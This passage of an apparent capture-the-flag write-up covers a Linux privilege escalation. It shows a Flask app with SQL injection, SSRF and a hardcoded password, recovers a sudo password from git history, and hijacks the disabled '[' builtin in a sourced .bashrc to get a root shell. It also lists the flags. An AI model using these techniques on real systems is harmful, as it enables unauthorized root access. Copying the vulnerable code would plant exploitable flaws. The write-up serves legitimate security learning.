Matching Defaults entries for mcskidy on proddb:
    env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
    (root) /usr/bin/bash /opt/check.sh
/usr/bin/bash /opt/check.sh
# Getting the user flag
mcskidy@proddb:~# cat user.txt
THM{SQli_SsRF_2_WeRkZeuG_PiN_ExPloit}
import os, pycurl # mcskidy@proddb:~/app$ cat app.py
from io import BytesIO
from flask_mysqldb import MySQL
import MySQLdb.cursors
from flask import Flask, send_from_directory, render_template, request, redirect, url_for, Response

app = Flask(__name__, static_url_path='/static')
app.config['MYSQL_HOST'] = 'localhost' # host.docker.internal
app.config['MYSQL_USER'] = 'mcskidy'   # MySQL configuration
app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)

@app.route("/")
def index():
  return render_template("index.html")
@app.route("/download")
def download():
  file_id = request.args.get('id', '')
  if file_id != '':
    cur = mysql.connection.cursor()
    query = "SELECT url FROM elves where url_id = '%s'" % (file_id)
    cur.execute(query)
    results = cur.fetchall()
    for url in results:
      response_buf = BytesIO()
      crl = pycurl.Curl()
      crl.setopt(crl.URL, url[0])
      crl.setopt(crl.WRITEDATA, response_buf)
      crl.perform()
      crl.close()
      resp = Response(response_buf.getvalue())
      resp.headers['Content-Type'] = 'image/svg+xml'
      resp.headers['Content-Disposition'] = 'attachment'
      return resp
  else: return 'No file selected... '

if __name__ == "__main__":
  app.run(host='0.0.0.0', port=8000, debug=True)

Nevertheless, here is the summary of the sudo privilege escalation commands:

# Importing needed packages
>>> import glob, os, pathlib, platform, subprocess; platform.uname()
platform.uname_result(('Linux', 'proddb', '5.4.0-164-generic', '#181-Ubuntu SMP Fri Sep 1 13:41:22 UTC 2023', 'x86_64', 'x86_64'))
>>> list(pathlib.Path("/root").rglob("*"))
[] # Empty because we are not root
>>> [_.name for _ in list(__import__("pathlib").Path.cwd().rglob("*"))]
['.git', 'app.py', 'static', 'templates']
# Remembering Gitlab Day 20 task, we look at all the available Git commits 
>>> subprocess.Popen(["git","log"],stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
"""
commit c23b1ae2d5c55dd73f26c2176c0d460e964f8b7b (HEAD -> master)
Author: mcskidy <mcskidy@proddb>
Date:   Thu Nov 2 15:41:22 2023 +0000
    Added new image and made website text more clearer
commit 71eabc70aaa548ac96f850aaf5663633417079db
Author: mcskidy <mcskidy@proddb>
Date:   Thu Oct 19 20:03:27 2023 +0000
    Fixed images MIME type and removed PDF
commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date:   Thu Oct 19 20:02:57 2023 +0000
    Minor update
"""
# Some commits have the mcskidy password (for sudo, as different cgroups) changed
>>> subprocess.Popen(["git","show","c1a0b22905cc0da0b5ad88c124125efa626013af"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
"""
commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date:   Thu Oct 19 20:02:57 2023 +0000
    Minor update
diff --git a/app.py b/app.py
index 8d05622..5765c7d 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
 # MySQL configuration
 app.config['MYSQL_HOST'] = 'localhost'
 app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = 'F453TgvhALjZ' # password
+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
 app.config['MYSQL_DB'] = 'elfimages'
 mysql = MySQL(app)
"""
# Reading the check.sh file, we find a weird use of .bashrc
>>> pathlib.Path("/opt/check.sh").read_text();
"""
#!/bin/bash
. /opt/.bashrc
cd /home/mcskidy/
WEBSITE_URL="http://127.0.0.1:8000"
response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)
# Check the HTTP response code
if [ "$response" == "200" ]; then
  /usr/bin/echo "Website is running: $WEBSITE_URL"
else
  /usr/bin/echo "Website is not running: $WEBSITE_URL"
fi
"""
# The "enable" command below is a big security issue here
>>> pathlib.Path("/opt/.bashrc").read_text();
# https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md#builtins
"""
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
enable -n [ # ]
# If not running interactively, don't do anything [...]
"""
# Writeup on https://0xdf.gitlab.io/2023/02/11/htb-photobomb.html
>>> with open("[", "w") as f: f.write("#!/bin/bash\n\nbash\n")
18
>>> __import__("os").system("chmod +x [")
0
>>> exec(__import__("pathlib").Path("unsafe_mem.py").read_text()) # Optional as "https://github.com/DavidBuchanan314/unsafe-python"
>>> __import__("os").environ["PWNLIB_NOTERM"]="1" # As "https://github.com/0xsyr0/OSCP/blob/main/README.md#cve-2023-32629-cve-2023-2640-gameoverlay-ubuntu-kernel-exploit-lpe-0-day"
>>> subprocess.Popen(["sudo","-S","bash","/opt/check.sh"],stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate(input=b"F453TgvhALjZ\n")
root@proddb:~# ls
frosteau  root.txt  snap  yetikey4.txt
root@proddb:~# cat root.txt yetikey4.txt
THM{BaNDiT_YeTi_Lik3s_PATH_HijacKing}
4-3f$FEBwD6AoqnyLjJ!!Hk4tc*V6w$UuK#evLWkBp
  • What is the user flag? THM{SQli_SsRF_2_WeRkZeuG_PiN_ExPloit}
  • What is the root flag? THM{BaNDiT_YeTi_Lik3s_PATH_HijacKing}
  • What is the yetikey4.txt flag? 4-3f$FEBwD6AoqnyLjJ!!Hk4tc*V6w$UuK#evLWkBp

Feast

Final validation

We regroupe all the flags to validate the final room on time:

  • Side Quest Challenge 1 Flag: 1-1f9548f131522e85ea30e801dfd9b1a4e526003f9e83301faad85e6154ef2834
  • Side Quest Challenge 2 Flag: 2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaK
  • Side Quest Challenge 3 Flag: 3-d2dc6a02db03401177f0511a6c99007e945d9cb9b96b8c6294f8c5a2c8e01f60
  • Side Quest Challenge 4 Flag: 4-3f$FEBwD6AoqnyLjJ!!Hk4tc*V6w$UuK#evLWkBp

Hard

Appendix

Some challenges used to find the side quests tasks were sometimes more of a hassle than the side quests themselves!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment